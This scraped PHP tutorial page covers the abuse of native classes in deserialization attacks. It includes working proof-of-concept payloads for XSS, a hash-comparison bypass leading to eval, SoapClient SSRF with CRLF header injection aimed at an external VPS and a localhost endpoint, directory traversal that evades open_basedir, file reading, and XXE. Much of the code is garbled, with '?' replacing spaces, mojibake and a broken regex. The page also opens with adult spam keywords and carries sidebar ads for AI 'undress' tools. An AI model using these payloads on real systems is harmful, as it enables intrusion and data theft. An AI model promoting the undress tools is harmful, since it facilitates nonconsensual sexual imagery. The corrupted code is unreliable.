国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

Table of Contents
A brief analysis of the use of PHP deserialization native classes
1. Common magic methods
2. Magic methods in native classes
3. Utilization of some common native classes
Error/Exception
XSS
hash bypass
SoapClient
SSRF
DirectoryIterator/FilesystemIterator
目錄遍歷
SplFileObject
文件讀取
SimpleXMLElement
XXE
ReflectionMethod
獲取注釋內(nèi)容
Home Backend Development PHP Tutorial In-depth understanding of PHP deserializing native classes

In-depth understanding of PHP deserializing native classes

May 17, 2022 am 11:56 AM
php

This article brings you relevant knowledge about PHP, which mainly introduces the use of deserialized native classes. If there is a deserialization function in code audit or ctf point, but it cannot construct a complete pop chain, so how should we break the situation at this time? Let’s take a look at it, I hope it will be helpful to everyone.

In-depth understanding of PHP deserializing native classes

Recommended study: "PHP Video Tutorial"

A brief analysis of the use of PHP deserialization native classes

If there is a deserialization function in code audit or ctf, but a complete pop chain cannot be constructed, how should we break the situation? We can try to start with PHP native classes. Some PHP native classes have some built-in magic methods. If we cleverly construct controllable parameters, trigger and use their built-in magic methods, it is possible to achieve some of the goals we want.

1. Common magic methods

__wakeup()?//執(zhí)行unserialize()時,先會調(diào)用這個函數(shù)
__sleep()?//執(zhí)行serialize()時,先會調(diào)用這個函數(shù)
__destruct()?//對象被銷毀時觸發(fā)
__call()?//在對象上下文中調(diào)用不可訪問的方法時觸發(fā)
__callStatic()?//在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)
__get()?//用于從不可訪問的屬性讀取數(shù)據(jù)或者不存在這個鍵都會調(diào)用此方法
__set()?//用于將數(shù)據(jù)寫入不可訪問的屬性
__isset()?//在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)
__unset()?//在不可訪問的屬性上使用unset()時觸發(fā)
__toString()?//把對象當(dāng)作字符串使用時觸發(fā)
__invoke()?//當(dāng)嘗試將對象調(diào)用為函數(shù)時觸發(fā)

2. Magic methods in native classes

We use the following script to traverse it Magic methods in all native classes

<?php $classes = get_declared_classes();foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            &#39;__destruct&#39;,
            &#39;__toString&#39;,
            &#39;__wakeup&#39;,
            &#39;__call&#39;,
            &#39;__callStatic&#39;,
            &#39;__get&#39;,
            &#39;__set&#39;,
            &#39;__isset&#39;,
            &#39;__unset&#39;,
            &#39;__invoke&#39;,
            &#39;__set_state&#39;
        ))) {
            print $class . &#39;::&#39; . $method . "\n";
        }
    }}

3. Utilization of some common native classes

Error/Exception

Error Is the base class for all PHP internal error classes. (PHP 7, 8)

**Error::__toString ** The string expression of error

Returns the string expression of Error.

Exception is the base class for all user-level exceptions. (PHP 5, 7, 8)

**Exception::__toString ** Convert the exception object to a string

Returns the exception converted to the string (string) type.

Class attribute

  • message Error message content

  • code Error code

  • file The file name that throws the error

  • line The number of lines that throws the error

XSS

__toString method will return the string form of error or exception, which contains the parameters we input. If we construct a string of xss code and combine it with echo rendering, the reflected xss vulnerability will be triggered

Example:

<?php $a = unserialize($_GET[&#39;a&#39;]);echo $a;

POC:

<?php $a = new Error("<script>alert('xss')");$b?=?serialize($a);echo?urlencode($b);

In-depth understanding of PHP deserializing native classes

hash bypass

Look at a question first

[2020 Geek Challenge]Greatphp

<?phperror_reporting (0);class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){
???????????if(!preg_match("/\syc,?$match)){
???????????????eval($this->syc);
???????????}?else?{
???????????????die("Try?Hard?!!");
???????????}

????????}
????}}if?(isset($_GET['great'])){
????unserialize($_GET['great']);}?else?{
????highlight_file(__FILE__);}

Needs to bypass two hash strong comparisons, and ultimately needs to construct eval code execution

Obviously the normal method is It doesn't work, but it can be bypassed through native classes

Similarly, when the md5() and sha1() functions process objects, the __tostring method will be automatically called

Let's take a brief look at it first. Output

<?php $a=new Error("payload",1);$b=new Error("payload",2);$c=new Exception("payload",3);
$d=new Exception("payload",4);
echo $a."<br>";
echo?$b."<br>";
echo?$c."<br>";
echo?$d;

In-depth understanding of PHP deserializing native classes

It can be found that the information returned by these two native classes is exactly the same except for the line number. Using this, we can try to bypass the hash function. What needs to be paid attention to Yes, the two incoming objects must be placed on the same line

So we can conduct a simple test and find that using this method can bypass hash strong (weak) function comparison

<?php $a = new Error("payload",1);$b = new Error("payload",2);if ($a!=$b){
    echo &#39;$a不等于$b&#39;."\n";}if (md5($a)===md5($b)){
    echo "md5值相等\n";}if (sha1($a)===sha1($b)){
    echo "sha1值相等";}

In-depth understanding of PHP deserializing native classes

Based on these knowledge points, we can easily construct the payload

??<?phpclass  SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc?!=?$this->lover)?&&?(md5($this->syc)?===?md5($this->lover))?&&?(sha1($this->syc)===?sha1($this->lover))?){
		???if(!preg_match("/\syc,?$match)){
			???eval($this->syc);
		???}?else?{
			???die("Try?Hard?!!");
		???}
		???
		}
	}}$str?=?"?>=include~".urldecode("%D0%99%93%9E%98")."?>";//兩次取反繞過正則$a=new?Error($str,1);
	$b=new?Error($str,2);
	$c?=?new?SYCLOVER();$c->syc?=?$a;$c->lover?=?$b;
	echo(urlencode(serialize($c)));?>

SoapClient

SoapClient is a class specially used to access web services. It can provide a PHP client that accesses Web services based on the SOAP protocol. It can create soap data messages and interact with the wsdl interface.

The soap extension module is closed by default and needs to be manually turned on when using it

SoapClient::__call —Call SOAP functions (PHP 5, 7, 8)

Usually, SOAP functions can be called as methods of the SoapClient object

SSRF

Constructor:

public?SoapClient?::?SoapClient(mixed?$wsdl?[,array?$options?])
第一個參數(shù)是用來指明是否是wsdl模式,如果為`null`,那就是非wsdl模式。
第二個參數(shù)為一個數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設(shè)置location和uri選項,其中l(wèi)ocation是要將請求發(fā)送到的SOAP服務(wù)器的URL,而uri?是SOAP服務(wù)的目標(biāo)命名空間。

What is soap

SOAP?是基于?XML?的簡易協(xié)議,是用在分散或分布的環(huán)境中交換信息的簡單的協(xié)議,可使應(yīng)用程序在?HTTP?之上進行信息交換
SOAP是webService三要素(SOAP、WSDL、UDDI)之一:WSDL?用來描述如何訪問具體的接口,?UDDI用來管理,分發(fā),查詢webService?,SOAP(簡單對象訪問協(xié)議)是連接或Web服務(wù)或客戶端和Web服務(wù)之間的接口。
其采用HTTP作為底層通訊協(xié)議,XML作為數(shù)據(jù)傳送的格式。

We construct a payload, the first parameter is NULL, and the location of the second parameter is set to the vps address

<?php $a = new SoapClient(null, array(
&#39;location&#39; =>?'http://47.102.146.95:2333',?
'uri'?=>'uri',
'user_agent'=>'111111'));
$b?=?serialize($a);
echo?$b;
$c?=?unserialize($b);
$c->a();

Listen to the 2333 port of the vps. As shown in the figure below, SSRF is successfully triggered. The vps receives the request information

and you can see that both SOAPAction and user_agent are controllable

In-depth understanding of PHP deserializing native classes

During local testing, it was found that when using this built-in class (i.e. soap protocol) to request a port where a service exists, an error will be reported immediately, and when accessing a port where the service does not exist (unoccupied), it will wait for a period of time. Time error reporting can be used to detect intranet assets.

If you cooperate with the CRLF vulnerability, you can also use SoapClient to control other parameters or post to send data. For example: HTTP protocol to attack Redis

CRLF knowledge expansion

HTTP報文的結(jié)構(gòu):狀態(tài)行和首部中的每行以CRLF結(jié)束,首部與主體之間由一空行分隔。
CRLF注入漏洞,是因為Web應(yīng)用沒有對用戶輸入做嚴(yán)格驗證,導(dǎo)致攻擊者可以輸入一些惡意字符。
攻擊者一旦向請求行或首部中的字段注入惡意的CRLF(\r\n),就能注入一些首部字段或報文主體,并在響應(yīng)中輸出。

By combining CRLF, we can use SoapClient CRLF to do more things, such as inserting custom cookies,

<?php $a = new SoapClient(null, array(
    &#39;location&#39; =>?'http://47.102.146.95:2333',
????'uri'?=>'uri',
????'user_agent'=>"111111\r\nCookie:?PHPSESSION=dasdasd564d6as4d6a"));
????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();

In-depth understanding of PHP deserializing native classes

發(fā)送POST的數(shù)據(jù)包,這里需要將Content-Type設(shè)置為application/x-www-form-urlencoded,我們可以通過添加兩個\r\n來將原來的Content-Type擠下去,自定義一個新的Content-Type

<?php $a = new SoapClient(null, array(
    &#39;location&#39; =>?'http://47.102.146.95:2333',
????'uri'?=>'uri',
????'user_agent'=>"111111\r\nContent-Type:?application/x-www-form-urlencoded\r\nX-Forwarded-For:?127.0.0.1\r\nCookie:?PHPSESSID=3stu05dr969ogmprk28drnju93\r\nContent-Length:?10\r\n\r\npostdata"));
????$b?=?serialize($a);echo?$b;$c?=?unserialize($b);$c->a();

In-depth understanding of PHP deserializing native classes

看一道ctfshow上的題,完美利用上述知識點

$xff?=?explode(',',?$_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip?=?array_pop($xff);?//獲取xff頭


if($ip!=='127.0.0.1'){
????die('error');
}else{
????$token?=?$_POST['token'];
????if($token=='ctfshow'){
????????file_put_contents('flag.txt',$flag);
????}
}

poc:

<?php $target = &#39;http://127.0.0.1/flag.php&#39;;
$post_string = &#39;token=ctfshow&#39;;
$b = new SoapClient(null,array(&#39;location&#39; =>?$target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type:?application/x-www-form-urlencoded'.'^^Content-Length:?'.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>?"ssrf"));
$a?=?serialize($b);
$a?=?str_replace('^^',"\r\n",$a);
echo?urlencode($a);
?>

DirectoryIterator/FilesystemIterator

DirectoryIterator類提供了一個簡單的接口來查看文件系統(tǒng)目錄的內(nèi)容。

DirectoryIterator::__toString 獲取字符串形式的文件名 (PHP 5,7,8)

目錄遍歷

使用此內(nèi)置類的__toString方法結(jié)合glob或file協(xié)議,即可實現(xiàn)目錄遍歷

例如:

<?php $a = new DirectoryIterator("glob:///*");
foreach ($a as $b){
    echo $b.&#39;<br>';
}

FilesystemIterator繼承于DirectoryIterator,兩者作用和用法基本相同,區(qū)別為FilesystemIterator會顯示文件的完整路徑,而DirectoryIterator只顯示文件名

In-depth understanding of PHP deserializing native classes

因為可以配合使用glob偽協(xié)議(查找匹配的文件路徑模式),所以可以繞過open_basedir的限制

在php4.3以后使用了zend_class_unserialize_deny來禁止一些類的反序列化,很不幸的是這兩個原生類都在禁止名單當(dāng)中

SplFileObject

SplFileObject 類為單個文件的信息提供了一個面向?qū)ο蟮母呒壗涌?/p>

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

文件讀取

SplFileObject::__toString — 以字符串形式返回文件的路徑

<?phphighlight_file (__file__);$a = new SplFileObject("./flag.txt");echo $a;/*foreach($context as $f){
    echo($a);
}*/

如果沒有遍歷的話只能讀取第一行,且受到open_basedir影響

SimpleXMLElement

解析XML 文檔中的元素。 (PHP 5、PHP 7、PHP 8)

SimpleXMLElement::__construct — 創(chuàng)建一個新的 SimpleXMLElement 對象

XXE

我們查看一下其參數(shù):

In-depth understanding of PHP deserializing native classes

根據(jù)官方文檔,發(fā)現(xiàn)當(dāng)?shù)谌齻€參數(shù)為True時,即可實現(xiàn)遠程xml文件載入,第二個參數(shù)的常量值設(shè)置為2即可。

利用可參考賽題:[SUCTF 2018]Homework

ReflectionMethod

獲取注釋內(nèi)容

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

ReflectionFunctionAbstract::getDocComment — 獲取注釋內(nèi)容
由該原生類中的getDocComment方法可以訪問到注釋的內(nèi)容

In-depth understanding of PHP deserializing native classes

同時可利用的原生類還有ZipArchive– 刪除文件等等,不在敘述

推薦學(xué)習(xí):《PHP視頻教程

The above is the detailed content of In-depth understanding of PHP deserializing native classes. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undress AI Tool

Undress AI Tool

Undress images for free

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

How to access a character in a string by index in PHP How to access a character in a string by index in PHP Jul 12, 2025 am 03:15 AM

In PHP, you can use square brackets or curly braces to obtain string specific index characters, but square brackets are recommended; the index starts from 0, and the access outside the range returns a null value and cannot be assigned a value; mb_substr is required to handle multi-byte characters. For example: $str="hello";echo$str[0]; output h; and Chinese characters such as mb_substr($str,1,1) need to obtain the correct result; in actual applications, the length of the string should be checked before looping, dynamic strings need to be verified for validity, and multilingual projects recommend using multi-byte security functions uniformly.

How Do Generators Work in PHP? How Do Generators Work in PHP? Jul 11, 2025 am 03:12 AM

AgeneratorinPHPisamemory-efficientwaytoiterateoverlargedatasetsbyyieldingvaluesoneatatimeinsteadofreturningthemallatonce.1.Generatorsusetheyieldkeywordtoproducevaluesondemand,reducingmemoryusage.2.Theyareusefulforhandlingbigloops,readinglargefiles,or

How to prevent session hijacking in PHP? How to prevent session hijacking in PHP? Jul 11, 2025 am 03:15 AM

To prevent session hijacking in PHP, the following measures need to be taken: 1. Use HTTPS to encrypt the transmission and set session.cookie_secure=1 in php.ini; 2. Set the security cookie attributes, including httponly, secure and samesite; 3. Call session_regenerate_id(true) when the user logs in or permissions change to change to change the SessionID; 4. Limit the Session life cycle, reasonably configure gc_maxlifetime and record the user's activity time; 5. Prohibit exposing the SessionID to the URL, and set session.use_only

PHP get the first N characters of a string PHP get the first N characters of a string Jul 11, 2025 am 03:17 AM

You can use substr() or mb_substr() to get the first N characters in PHP. The specific steps are as follows: 1. Use substr($string,0,N) to intercept the first N characters, which is suitable for ASCII characters and is simple and efficient; 2. When processing multi-byte characters (such as Chinese), mb_substr($string,0,N,'UTF-8'), and ensure that mbstring extension is enabled; 3. If the string contains HTML or whitespace characters, you should first use strip_tags() to remove the tags and trim() to clean the spaces, and then intercept them to ensure the results are clean.

PHP get the last N characters of a string PHP get the last N characters of a string Jul 11, 2025 am 03:17 AM

There are two main ways to get the last N characters of a string in PHP: 1. Use the substr() function to intercept through the negative starting position, which is suitable for single-byte characters; 2. Use the mb_substr() function to support multilingual and UTF-8 encoding to avoid truncating non-English characters; 3. Optionally determine whether the string length is sufficient to handle boundary situations; 4. It is not recommended to use strrev() substr() combination method because it is not safe and inefficient for multi-byte characters.

How to URL encode a string in PHP with urlencode How to URL encode a string in PHP with urlencode Jul 11, 2025 am 03:22 AM

The urlencode() function is used to encode strings into URL-safe formats, where non-alphanumeric characters (except -, _, and .) are replaced with a percent sign followed by a two-digit hexadecimal number. For example, spaces are converted to signs, exclamation marks are converted to!, and Chinese characters are converted to their UTF-8 encoding form. When using, only the parameter values ??should be encoded, not the entire URL, to avoid damaging the URL structure. For other parts of the URL, such as path segments, the rawurlencode() function should be used, which converts the space to . When processing array parameters, you can use http_build_query() to automatically encode, or manually call urlencode() on each value to ensure safe transfer of data. just

How to set and get session variables in PHP? How to set and get session variables in PHP? Jul 12, 2025 am 03:10 AM

To set and get session variables in PHP, you must first always call session_start() at the top of the script to start the session. 1. When setting session variables, use $_SESSION hyperglobal array to assign values ??to specific keys, such as $_SESSION['username']='john_doe'; it can store strings, numbers, arrays and even objects, but avoid storing too much data to avoid affecting performance. 2. When obtaining session variables, you need to call session_start() first, and then access the $_SESSION array through the key, such as echo$_SESSION['username']; it is recommended to use isset() to check whether the variable exists to avoid errors

How to prevent SQL injection in PHP How to prevent SQL injection in PHP Jul 12, 2025 am 03:02 AM

Key methods to prevent SQL injection in PHP include: 1. Use preprocessing statements (such as PDO or MySQLi) to separate SQL code and data; 2. Turn off simulated preprocessing mode to ensure true preprocessing; 3. Filter and verify user input, such as using is_numeric() and filter_var(); 4. Avoid directly splicing SQL strings and use parameter binding instead; 5. Turn off error display in the production environment and record error logs. These measures comprehensively prevent the risk of SQL injection from mechanisms and details.

See all articles